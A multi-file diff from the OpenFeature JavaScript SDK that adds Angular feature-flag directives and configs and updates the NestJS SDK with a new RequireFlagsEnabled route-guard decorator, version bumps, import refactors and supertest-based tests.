export class StringFeatureFlagDirective extends FeatureFlagDirective<string> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<string>>>(TemplateRef);
/**
* The key of the string feature flag.
*/
@Input({ required: true }) stringFeatureFlag: string;
/**
* The default value for the string feature flag.
*/
@Input({ required: true }) stringFeatureFlagDefault: string;
/**
* The expected value of this string feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) stringFeatureFlagValue?: string;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.stringFeatureFlag;
this._featureFlagDefault = this.stringFeatureFlagDefault;
this._featureFlagValue = this.stringFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain for the string feature flag.
*/
@Input({ required: false })
set stringFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set stringFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set stringFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set stringFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set stringFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is reconciling.
*/
@Input()
set stringFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of an object feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *objectFeatureFlag="'flagKey'; default: {}; let value">{{ value }}</div>
* ```
* ```
* <div *objectFeatureFlag="flagKey; default: {}; value: flagValue; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *objectFeatureFlag="flagKey; default: {}; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[objectFeatureFlag]',
})
export class ObjectFeatureFlagDirective<T extends JsonValue> extends FeatureFlagDirective<T> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<T>>>(TemplateRef);
/**
* The key of the object feature flag.
*/
@Input({ required: true }) objectFeatureFlag: string;
/**
* The default value for the object feature flag.
*/
@Input({ required: true }) objectFeatureFlagDefault: T;
/**
* The expected value of this object feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) objectFeatureFlagValue?: T;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.objectFeatureFlag;
this._featureFlagDefault = this.objectFeatureFlagDefault;
this._featureFlagValue = this.objectFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain for the object feature flag.
*/
@Input({ required: false })
set objectFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set objectFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set objectFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set objectFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set objectFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is reconciling.
*/
@Input()
set objectFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._reconcilingTemplateRef = tpl;
}
}
// eslint-disable-next-line @typescript-eslint/no-explicit-any
function deepEqual(obj1: any, obj2: any): boolean {
if (obj1 === obj2) {
// If both objects are identical
return true;
}
if (typeof obj1 !== 'object' || obj1 === null || typeof obj2 !== 'object' || obj2 === null) {
// One of them is not an object or one of them is null
return false;
}
const keys1 = Object.keys(obj1);
const keys2 = Object.keys(obj2);
if (keys1.length !== keys2.length) {
// Different number of properties
return false;
}
for (const key of keys1) {
if (!keys2.includes(key)) {
// obj2 does not have a property that obj1 has
return false;
}
// Recursive check for each property
if (!deepEqual(obj1[key], obj2[key])) {
return false;
}
}
return true;
}

View File

@ -0,0 +1,36 @@
import { InjectionToken, ModuleWithProviders, NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { EvaluationContext, OpenFeature, Provider } from '@openfeature/web-sdk';
export type EvaluationContextFactory = () => EvaluationContext;
export interface OpenFeatureConfig {
provider: Provider;
domainBoundProviders?: Record<string, Provider>;
context?: EvaluationContext | EvaluationContextFactory;
}
export const OPEN_FEATURE_CONFIG_TOKEN = new InjectionToken<OpenFeatureConfig>('OPEN_FEATURE_CONFIG_TOKEN');
@NgModule({
declarations: [],
imports: [CommonModule],
exports: [],
})
export class OpenFeatureModule {
static forRoot(config: OpenFeatureConfig): ModuleWithProviders<OpenFeatureModule> {
const context = typeof config.context === 'function' ? config.context() : config.context;
OpenFeature.setProvider(config.provider, context);
if (config.domainBoundProviders) {
Object.entries(config.domainBoundProviders).map(([domain, provider]) =>
OpenFeature.setProvider(domain, provider),
);
}
return {
ngModule: OpenFeatureModule,
providers: [{ provide: OPEN_FEATURE_CONFIG_TOKEN, useValue: config }],
};
}
}

View File

@ -0,0 +1,9 @@
/*
* Public API Surface of angular
*/
export * from './lib/feature-flag.directive';
export * from './lib/open-feature.module';
// re-export the web-sdk so consumers can access that API from the angular-sdk
export * from '@openfeature/web-sdk';

View File

@ -0,0 +1,3 @@
import { provideZonelessChangeDetection } from '@angular/core';
export default [provideZonelessChangeDetection()];

View File

@ -0,0 +1,20 @@
import { InMemoryProvider } from '@openfeature/web-sdk';
export class TestingProvider extends InMemoryProvider {
constructor(
flagConfiguration: ConstructorParameters<typeof InMemoryProvider>[0],
private delay: number,
) {
super(flagConfiguration);
}
// artificially delay our init (delaying PROVIDER_READY event)
async initialize(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
// artificially delay context changes
async onContextChange(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
}

View File

@ -0,0 +1,19 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"outDir": "../../out-tsc/lib",
"declaration": true,
"declarationMap": true,
"inlineSources": true,
"types": [],
"paths": {
"angular": [
"./dist/angular"
],
}
},
"exclude": [
"**/*.spec.ts"
]
}

View File

@ -0,0 +1,15 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"extends": "./tsconfig.lib.json",
"compilerOptions": {
"declarationMap": false
},
"paths": {
"angular": [
"./dist/angular"
]
},
"angularCompilerOptions": {
"compilationMode": "partial"
}
}

View File

@ -0,0 +1,22 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"outDir": "./out-tsc/spec",
"types": [
"vitest/globals",
"node"
],
"paths": {
"angular": [
"./dist/angular"
]
},
"esModuleInterop": true,
"emitDecoratorMetadata": true
},
"include": [
"src/**/*.spec.ts",
"src/**/*.d.ts",
"src/test-provider.ts"
]
}

View File

@ -0,0 +1,42 @@
/* To learn more about this file see: https://angular.io/config/tsconfig. */
{
"compileOnSave": false,
"compilerOptions": {
"paths": {
"angular": [
"./dist/angular"
],
"@openfeature/core": [ "../shared/src" ],
"@openfeature/web-sdk": [ "../web/src" ]
},
"outDir": "./dist/out-tsc",
"forceConsistentCasingInFileNames": true,
"strict": true,
"noImplicitOverride": true,
"noPropertyAccessFromIndexSignature": true,
"noImplicitReturns": true,
"noFallthroughCasesInSwitch": true,
"skipLibCheck": true,
"esModuleInterop": true,
"sourceMap": true,
"declaration": false,
"experimentalDecorators": true,
"moduleResolution": "node",
"importHelpers": true,
"target": "ES2022",
"module": "ES2022",
"useDefineForClassFields": false,
"strictNullChecks": false,
"lib": [
"ES2022",
"dom"
],
},
"angularCompilerOptions": {
"disableTypeScriptVersionCheck": true,
"enableI18nLegacyMessageIdFormat": false,
"strictInjectionParameters": true,
"strictInputAccessModifiers": true,
"strictTemplates": true
}
}

View File

@ -0,0 +1,16 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"outDir": "./out-tsc/spec",
"types": [
"vitest/globals",
"node"
],
"esModuleInterop": true,
"emitDecoratorMetadata": true
},
"include": [
"projects/angular-sdk/src/**/*.spec.ts",
"projects/angular-sdk/src/**/*.d.ts"
]
}

View File

@ -0,0 +1,10 @@
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
coverage: {
provider: 'v8',
reporter: ['text', 'json', 'html'],
},
},
});

View File

@ -1,12 +0,0 @@
import { ClientMetadata, EvaluationLifeCycle, Eventing, ManageLogger } from '@openfeature/core';
import { Features } from '../evaluation';
import { ProviderStatus } from '../provider';
import { ProviderEvents } from '../events';
export interface Client extends EvaluationLifeCycle<Client>, Features, ManageLogger<Client>, Eventing<ProviderEvents> {
readonly metadata: ClientMetadata;
/**
* Returns the status of the associated provider.
*/
readonly providerStatus: ProviderStatus;
}

View File

@ -1,3 +0,0 @@
import { BaseHook, FlagValue } from '@openfeature/core';
export type Hook = BaseHook<FlagValue, void, void>;

View File

@ -1,5 +1,48 @@
# Changelog
## [0.2.5](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.4...nestjs-sdk-v0.2.5) (2025-05-27)
### ✨ New Features
* adds RequireFlagsEnabled decorator ([#1159](https://github.com/open-feature/js-sdk/issues/1159)) ([59b8fe9](https://github.com/open-feature/js-sdk/commit/59b8fe904f053e4aa3d0c72631af34183ff54dc7))
## [0.2.4](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.3...nestjs-sdk-v0.2.4) (2025-04-20)
### 🧹 Chore
* **nest:** allow nestjs version 11 ([#1176](https://github.com/open-feature/js-sdk/issues/1176)) ([42a3b39](https://github.com/open-feature/js-sdk/commit/42a3b39c2488002f249b37ce86794ef2f77eb31c))
## [0.2.3](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.2...nestjs-sdk-v0.2.3) (2025-04-11)
### 🧹 Chore
* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
### Dependencies
* The following workspace dependencies were updated
* devDependencies
* @openfeature/server-sdk bumped from * to 1.18.0
## [0.2.2](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.1-experimental...nestjs-sdk-v0.2.2) (2024-10-29)
### 🧹 Chore
* import type lint rule and fixes ([#1039](https://github.com/open-feature/js-sdk/issues/1039)) ([01fcb93](https://github.com/open-feature/js-sdk/commit/01fcb933d2cbd131a0f4a005173cdd1906087e18))
## [0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.0-experimental...nestjs-sdk-v0.2.1-experimental) (2024-06-11)
### ✨ New Features
* lower compilation target to es2015 ([#957](https://github.com/open-feature/js-sdk/issues/957)) ([c2d6c17](https://github.com/open-feature/js-sdk/commit/c2d6c1761ae19f937deaff2f011a0380f8af7350))
## [0.2.0-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.5-experimental...nestjs-sdk-v0.2.0-experimental) (2024-05-19)

View File

@ -16,8 +16,8 @@
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/nestjs-sdk-v0.2.0-experimental">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.2.0-experimental&color=blue&style=for-the-badge" />
<a href="https://github.com/open-feature/js-sdk/releases/tag/nestjs-sdk-v0.2.5">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.2.5&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
@ -50,7 +50,7 @@ Capabilities include:
### Requirements
- Node.js version 18+
- Node.js version 20+
- NestJS version 8+
### Install
@ -72,10 +72,10 @@ yarn add @openfeature/nestjs-sdk @openfeature/server-sdk @openfeature/core
The following list contains the peer dependencies of `@openfeature/nestjs-sdk` with its expected and compatible versions:
* `@openfeature/server-sdk`: >=1.7.5
* `@nestjs/common`: ^8.0.0 || ^9.0.0 || ^10.0.0
* `@nestjs/core`: ^8.0.0 || ^9.0.0 || ^10.0.0
* `rxjs`: ^6.0.0 || ^7.0.0 || ^8.0.0
- `@openfeature/server-sdk`: >=1.7.5
- `@nestjs/common`: ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0
- `@nestjs/core`: ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0
- `rxjs`: ^6.0.0 || ^7.0.0 || ^8.0.0
The minimum required version of `@openfeature/server-sdk` currently is `1.7.5`.
@ -152,6 +152,24 @@ export class OpenFeatureTestService {
}
```
#### Managing Controller or Route Access via Feature Flags
The `RequireFlagsEnabled` decorator can be used to manage access to a controller or route based on the enabled state of a feature flag. The decorator will throw an exception if the required feature flag(s) are not enabled.
```ts
import { Controller, Get } from '@nestjs/common';
import { RequireFlagsEnabled } from '@openfeature/nestjs-sdk';
@Controller()
export class OpenFeatureController {
@RequireFlagsEnabled({ flags: [{ flagKey: 'testBooleanFlag' }] })
@Get('/welcome')
public async welcome() {
return 'Welcome to this OpenFeature-enabled NestJS app!';
}
}
```
## Module additional information
### Flag evaluation context injection

View File

@ -1,6 +1,6 @@
{
"name": "@openfeature/nestjs-sdk",
"version": "0.2.0-experimental",
"version": "0.2.5",
"description": "OpenFeature Nest.js SDK",
"main": "./dist/cjs/index.js",
"files": [
@ -16,9 +16,10 @@
"scripts": {
"test": "jest --verbose",
"lint": "eslint ./",
"lint:fix": "eslint ./ --fix",
"clean": "shx rm -rf ./dist",
"build:esm": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2022 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2022 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:esm": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2015 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild src/index.ts --bundle --external:@nestjs/* --external:@openfeature/server-sdk --sourcemap --target=es2015 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build:rollup-types": "rollup -c ../../rollup.config.mjs",
"build": "npm run clean && npm run build:esm && npm run build:cjs && npm run build:rollup-types",
"postbuild": "shx cp ./../../package.esm.json ./dist/esm/package.json",
@ -45,18 +46,18 @@
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"peerDependencies": {
"@nestjs/common": "^8.0.0 || ^9.0.0 || ^10.0.0",
"@nestjs/core": "^8.0.0 || ^9.0.0 || ^10.0.0",
"@nestjs/common": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0",
"@nestjs/core": "^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0",
"rxjs": "^6.0.0 || ^7.0.0 || 8.0.0",
"@openfeature/server-sdk": ">=1.14.0"
"@openfeature/server-sdk": "^1.17.1"
},
"devDependencies": {
"@nestjs/common": "^10.3.6",
"@nestjs/core": "^10.3.6",
"@nestjs/platform-express": "^10.3.6",
"@nestjs/testing": "^10.3.6",
"@nestjs/common": "^11.0.20",
"@nestjs/core": "^11.0.20",
"@nestjs/platform-express": "^11.0.20",
"@nestjs/testing": "^11.0.20",
"@openfeature/core": "*",
"@openfeature/server-sdk": "*",
"@openfeature/server-sdk": "1.18.0",
"@types/supertest": "^6.0.0",
"supertest": "^7.0.0"
}

View File

@ -1,5 +1,6 @@
import { EvaluationContext } from '@openfeature/core';
import { ExecutionContext, Inject } from '@nestjs/common';
import type { EvaluationContext } from '@openfeature/core';
import type { ExecutionContext} from '@nestjs/common';
import { Inject } from '@nestjs/common';
/**
* A factory function for creating an OpenFeature {@link EvaluationContext} from Nest {@link ExecutionContext}.

View File

@ -1,5 +1,7 @@
import { CallHandler, ExecutionContext, Inject, Injectable, NestInterceptor } from '@nestjs/common';
import { ContextFactory, ContextFactoryToken } from './context-factory';
import type { CallHandler, ExecutionContext, NestInterceptor } from '@nestjs/common';
import { Inject, Injectable } from '@nestjs/common';
import type { ContextFactory} from './context-factory';
import { ContextFactoryToken } from './context-factory';
import { Observable } from 'rxjs';
import { OpenFeature } from '@openfeature/server-sdk';
import { OpenFeatureModule } from './open-feature.module';

View File

@ -1,14 +1,10 @@
import { createParamDecorator, Inject } from '@nestjs/common';
import {
EvaluationContext,
EvaluationDetails,
FlagValue,
JsonValue,
OpenFeature,
Client,
} from '@openfeature/server-sdk';
import type { EvaluationContext, EvaluationDetails, FlagValue, JsonValue } from '@openfeature/server-sdk';
import { Client } from '@openfeature/server-sdk';
import { getOpenFeatureClientToken } from './open-feature.module';
import { from, Observable } from 'rxjs';
import type { Observable } from 'rxjs';
import { from } from 'rxjs';
import { getClientForEvaluation } from './utils';
/**
* Options for injecting an OpenFeature client into a constructor.
@ -54,16 +50,6 @@ interface FeatureProps<T extends FlagValue> {
context?: EvaluationContext;
}
/**
* Returns a domain scoped or the default OpenFeature client with the given context.
* @param {string} domain The domain of the OpenFeature client.
* @param {EvaluationContext} context The evaluation context of the client.
* @returns {Client} The OpenFeature client.
*/
function getClientForEvaluation(domain?: string, context?: EvaluationContext) {
return domain ? OpenFeature.getClient(domain, context) : OpenFeature.getClient(context);
}
/**
* Route handler parameter decorator.
*

View File

@ -2,5 +2,6 @@ export * from './open-feature.module';
export * from './feature.decorator';
export * from './evaluation-context-interceptor';
export * from './context-factory';
export * from './require-flags-enabled.decorator';
// re-export the server-sdk so consumers can access that API from the nestjs-sdk
export * from '@openfeature/server-sdk';

View File

@ -1,24 +1,27 @@
import {
import type {
DynamicModule,
Module,
FactoryProvider as NestFactoryProvider,
ValueProvider,
ClassProvider,
Provider as NestProvider,
Provider as NestProvider} from '@nestjs/common';
import {
Module,
ExecutionContext,
} from '@nestjs/common';
import {
import type {
Client,
Hook,
OpenFeature,
Provider,
EvaluationContext,
ServerProviderEvents,
EventHandler,
Logger,
Logger} from '@openfeature/server-sdk';
import {
OpenFeature,
AsyncLocalStorageTransactionContextPropagator,
} from '@openfeature/server-sdk';
import { ContextFactory, ContextFactoryToken } from './context-factory';
import type { ContextFactory} from './context-factory';
import { ContextFactoryToken } from './context-factory';
import { APP_INTERCEPTOR } from '@nestjs/core';
import { EvaluationContextInterceptor } from './evaluation-context-interceptor';
import { ShutdownService } from './shutdown.service';

View File

@ -0,0 +1,104 @@
import type { CallHandler, ExecutionContext, HttpException, NestInterceptor } from '@nestjs/common';
import { applyDecorators, mixin, NotFoundException, UseInterceptors } from '@nestjs/common';
import { getClientForEvaluation } from './utils';
import type { EvaluationContext } from '@openfeature/server-sdk';
import type { ContextFactory } from './context-factory';
type RequiredFlag = {
flagKey: string;
defaultValue?: boolean;
};
/**
* Options for using one or more Boolean feature flags to control access to a Controller or Route.
*/
interface RequireFlagsEnabledProps {
/**
* The key and default value of the feature flag.
* @see {@link Client#getBooleanValue}
*/
flags: RequiredFlag[];
/**
* The exception to throw if any of the required feature flags are not enabled.
* Defaults to a 404 Not Found exception.
* @see {@link HttpException}
* @default new NotFoundException(`Cannot ${req.method} ${req.url}`)
*/
exception?: HttpException;
/**
* The domain of the OpenFeature client, if a domain scoped client should be used.
* @see {@link OpenFeature#getClient}
*/
domain?: string;
/**
* The {@link EvaluationContext} for evaluating the feature flag.
* @see {@link OpenFeature#setContext}
*/
context?: EvaluationContext;
/**
* A factory function for creating an OpenFeature {@link EvaluationContext} from Nest {@link ExecutionContext}.
* For example, this can be used to get header info from an HTTP request or information from a gRPC call to be used in the {@link EvaluationContext}.
* @see {@link ContextFactory}
*/
contextFactory?: ContextFactory;
}
/**
* Controller or Route permissions handler decorator.
*
* Requires that the given feature flags are enabled for the request to be processed, else throws an exception.
*
* For example:
* ```typescript
* @RequireFlagsEnabled({
* flags: [ // Required, an array of Boolean flags to check, with optional default values (defaults to false)
* { flagKey: 'flagName' },
* { flagKey: 'flagName2', defaultValue: true },
* ],
* exception: new ForbiddenException(), // Optional, defaults to a 404 Not Found Exception
* domain: 'my-domain', // Optional, defaults to the default OpenFeature Client
* context: { // Optional, defaults to the global OpenFeature Context
* targetingKey: 'user-id',
* },
* contextFactory: (context: ExecutionContext) => { // Optional, defaults to the global OpenFeature Context. Takes precedence over the context option.
* return {
* targetingKey: context.switchToHttp().getRequest().headers['x-user-id'],
* };
* },
* })
* @Get('/')
* public async handleGetRequest()
* ```
* @param {RequireFlagsEnabledProps} props The options for injecting the feature flag.
* @returns {ClassDecorator & MethodDecorator} The decorator that can be used to require Boolean Feature Flags to be enabled for a controller or a specific route.
*/
export const RequireFlagsEnabled = (props: RequireFlagsEnabledProps): ClassDecorator & MethodDecorator =>
applyDecorators(UseInterceptors(FlagsEnabledInterceptor(props)));
const FlagsEnabledInterceptor = (props: RequireFlagsEnabledProps) => {
class FlagsEnabledInterceptor implements NestInterceptor {
constructor() {}
async intercept(context: ExecutionContext, next: CallHandler) {
const req = context.switchToHttp().getRequest();
const evaluationContext = props.contextFactory ? await props.contextFactory(context) : props.context;
const client = getClientForEvaluation(props.domain, evaluationContext);
for (const flag of props.flags) {
const endpointAccessible = await client.getBooleanValue(flag.flagKey, flag.defaultValue ?? false);
if (!endpointAccessible) {
throw props.exception || new NotFoundException(`Cannot ${req.method} ${req.url}`);
}
}
return next.handle();
}
}
return mixin(FlagsEnabledInterceptor);
};

View File

@ -1,4 +1,5 @@
import { Injectable, OnApplicationShutdown } from '@nestjs/common';
import type { OnApplicationShutdown } from '@nestjs/common';
import { Injectable } from '@nestjs/common';
import { OpenFeature } from '@openfeature/server-sdk';
@Injectable()

View File

@ -0,0 +1,12 @@
import type { Client, EvaluationContext } from '@openfeature/server-sdk';
import { OpenFeature } from '@openfeature/server-sdk';
/**
* Returns a domain scoped or the default OpenFeature client with the given context.
* @param {string} domain The domain of the OpenFeature client.
* @param {EvaluationContext} context The evaluation context of the client.
* @returns {Client} The OpenFeature client.
*/
export function getClientForEvaluation(domain?: string, context?: EvaluationContext) {
return domain ? OpenFeature.getClient(domain, context) : OpenFeature.getClient(context);
}

View File

@ -1,5 +1,6 @@
import { InMemoryProvider } from '@openfeature/server-sdk';
import { ExecutionContext } from '@nestjs/common';
import type { EvaluationContext } from '@openfeature/server-sdk';
import type { ExecutionContext } from '@nestjs/common';
import { OpenFeatureModule } from '../src';
export const defaultProvider = new InMemoryProvider({
@ -23,6 +24,17 @@ export const defaultProvider = new InMemoryProvider({
variants: { default: { client: 'default' } },
disabled: false,
},
testBooleanFlag2: {
defaultVariant: 'default',
variants: { default: false, enabled: true },
disabled: false,
contextEvaluator: (ctx: EvaluationContext) => {
if (ctx.targetingKey === '123') {
return 'enabled';
}
return 'default';
},
},
});
export const providers = {

View File

@ -1,7 +1,13 @@
import { Test, TestingModule } from '@nestjs/testing';
import { INestApplication } from '@nestjs/common';
import type { TestingModule } from '@nestjs/testing';
import { Test } from '@nestjs/testing';
import type { INestApplication } from '@nestjs/common';
import supertest from 'supertest';
import { OpenFeatureController, OpenFeatureControllerContextScopedController, OpenFeatureTestService } from './test-app';
import {
OpenFeatureController,
OpenFeatureContextScopedController,
OpenFeatureRequireFlagsEnabledController,
OpenFeatureTestService,
} from './test-app';
import { exampleContextFactory, getOpenFeatureDefaultTestModule } from './fixtures';
import { OpenFeatureModule } from '../src';
import { defaultProvider, providers } from './fixtures';
@ -13,11 +19,9 @@ describe('OpenFeature SDK', () => {
beforeAll(async () => {
moduleRef = await Test.createTestingModule({
imports: [
getOpenFeatureDefaultTestModule()
],
imports: [getOpenFeatureDefaultTestModule()],
providers: [OpenFeatureTestService],
controllers: [OpenFeatureController],
controllers: [OpenFeatureController, OpenFeatureRequireFlagsEnabledController],
}).compile();
app = moduleRef.createNestApplication();
app = await app.init();
@ -111,7 +115,7 @@ describe('OpenFeature SDK', () => {
});
describe('evaluation context service should', () => {
it('inject the evaluation context from contex factory', async function() {
it('inject the evaluation context from contex factory', async function () {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer())
.get('/dynamic-context-in-service')
@ -121,26 +125,77 @@ describe('OpenFeature SDK', () => {
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, { targetingKey: 'dynamic-user' }, {});
});
});
describe('require flags enabled decorator', () => {
describe('OpenFeatureController', () => {
it('should sucessfully return the response if the flag is enabled', async () => {
await supertest(app.getHttpServer()).get('/flags-enabled').expect(200).expect('Get Boolean Flag Success!');
});
it('should throw an exception if the flag is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/flags-enabled').expect(404);
});
it('should throw a custom exception if the flag is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/flags-enabled-custom-exception').expect(403);
});
it('should throw a custom exception if the flag is disabled with context', async () => {
await supertest(app.getHttpServer())
.get('/flags-enabled-custom-exception-with-context')
.set('x-user-id', '123')
.expect(403);
});
});
describe('OpenFeatureControllerRequireFlagsEnabled', () => {
it('should allow access to the RequireFlagsEnabled controller with global context interceptor', async () => {
await supertest(app.getHttpServer())
.get('/require-flags-enabled')
.set('x-user-id', '123')
.expect(200)
.expect('Hello, world!');
});
it('should throw a 403 - Forbidden exception if user does not match targeting requirements', async () => {
await supertest(app.getHttpServer()).get('/require-flags-enabled').set('x-user-id', 'not-123').expect(403);
});
it('should throw a 403 - Forbidden exception if one of the flags is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/require-flags-enabled').set('x-user-id', '123').expect(403);
});
});
});
});
describe('Without global context interceptor', () => {
let moduleRef: TestingModule;
let app: INestApplication;
beforeAll(async () => {
moduleRef = await Test.createTestingModule({
imports: [
OpenFeatureModule.forRoot({
contextFactory: exampleContextFactory,
defaultProvider,
providers,
useGlobalInterceptor: false
useGlobalInterceptor: false,
}),
],
providers: [OpenFeatureTestService],
controllers: [OpenFeatureController, OpenFeatureControllerContextScopedController],
controllers: [OpenFeatureController, OpenFeatureContextScopedController],
}).compile();
app = moduleRef.createNestApplication();
app = await app.init();
@ -157,7 +212,7 @@ describe('OpenFeature SDK', () => {
});
describe('evaluation context service should', () => {
it('inject empty context if no context interceptor is configured', async function() {
it('inject empty context if no context interceptor is configured', async function () {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer())
.get('/dynamic-context-in-service')
@ -171,9 +226,26 @@ describe('OpenFeature SDK', () => {
describe('With Controller bound Context interceptor', () => {
it('should not use context if global context interceptor is not configured', async () => {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer()).get('/controller-context').set('x-user-id', '123').expect(200).expect('true');
await supertest(app.getHttpServer())
.get('/controller-context')
.set('x-user-id', '123')
.expect(200)
.expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, { targetingKey: '123' }, {});
});
});
describe('require flags enabled decorator', () => {
it('should return a 404 - Not Found exception if the flag is disabled', async () => {
jest.spyOn(providers.domainScopedClient, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer())
.get('/controller-context/flags-enabled')
.set('x-user-id', '123')
.expect(404);
});
});
});
});

View File

@ -1,6 +1,8 @@
import { Test, TestingModule } from '@nestjs/testing';
import type { TestingModule } from '@nestjs/testing';
import { Test } from '@nestjs/testing';
import { getOpenFeatureClientToken, OpenFeatureModule, ServerProviderEvents } from '../src';
